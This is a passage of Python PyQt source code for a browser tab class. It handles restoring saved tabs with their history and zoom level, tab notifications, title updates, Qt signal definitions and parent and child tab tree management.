complete fixes it QTimer.singleShot(1000, lambda: self.p_restoreTab(tab)) def p_restoreTab(self, tab): ''' @param: tab SavedTab ''' self.p_restoreTabByUrl(tab.url, tab.history, tab.zoomLevel) def p_restoreTabByUrl(self, url, history, zoomLevel): self._webView.load(url) # Restoring history of internal pages crashes QtWebEngine 5.8 blacklistedSchemes = ['view-source', 'chrome'] if (url.scheme() not in blacklistedSchemes): stream = QDataStream(history) stream >> self._webView.history() self._webView.setZoomLevel(zoomLevel) self._webView.setFocus() def tabActivated(self): if self.isRestored(): return def _onTabActivated(): if self.isRestored(): return self.p_restoreTab(self._savedTab) self._savedTab.clear() self.restoredChanged.emit(self.isRestored()) QTimer.singleShot(0, _onTabActivated) def addChildBehavior(self): ''' @return AddChildBehavior ''' return self.s_addChildBehavior def setAddChildBehavior(self, behavior): self.s_addChildBehavior = behavior # Q_SLOTS @pyqtSlot(QWidget) def showNotification(self, notif): self._notificationWidget.setParent(self) self._notificationWidget.raise_() self._notificationWidget.setFixedWidth(self.width()) self._notificationWidget.layout().addWidget(notif) self._notificationWidget.show() notif.show() @pyqtSlot() def loadFinished(self): self.titleWasChanged(self._webView.title()) # Q_SIGNALS titleChanged = pyqtSignal(str) # title iconChanged = pyqtSignal(QIcon) # icon pinnedChanged = pyqtSignal(bool) # pinned restoredChanged = pyqtSignal(bool) # restored currentTabChanged = pyqtSignal(bool) # current loadingChanged = pyqtSignal(bool) # loading mutedChanged = pyqtSignal(bool) # muted playingChanged = pyqtSignal(bool) # playing backgroundActivityChanged = pyqtSignal(bool) # activity parentTabChanged = pyqtSignal('PyQt_PyObject') # WebTab* childTabAdded = pyqtSignal('PyQt_PyObject', int) # WebTab*, index childTabRemoved = pyqtSignal('PyQt_PyObject', int) # WebTab*, index def titleWasChanged(self, title): if not self._tabBar or not self._window or not title: return if self._isCurrentTab: self._window.setWindowTitle('%s - Demo' % title) self._tabBar.setTabText(self.tabIndex(), title) # override def resizeEvent(self, event): QWidget.resizeEvent(self, event) self._notificationWidget.setFixedWidth(self.width()) def removeFromTabTree(self): parentTab = self._parentTab parentIndex = -1 if parentTab: parentIndex = parentTab._childTabs.index(self) self.setParentTab(None) idx = 0 while self._childTabs: child = self._childTabs[0] child.setParentTab(None) if parentTab: parentTab.addChildTab(child, parentIndex + idx) idx += 1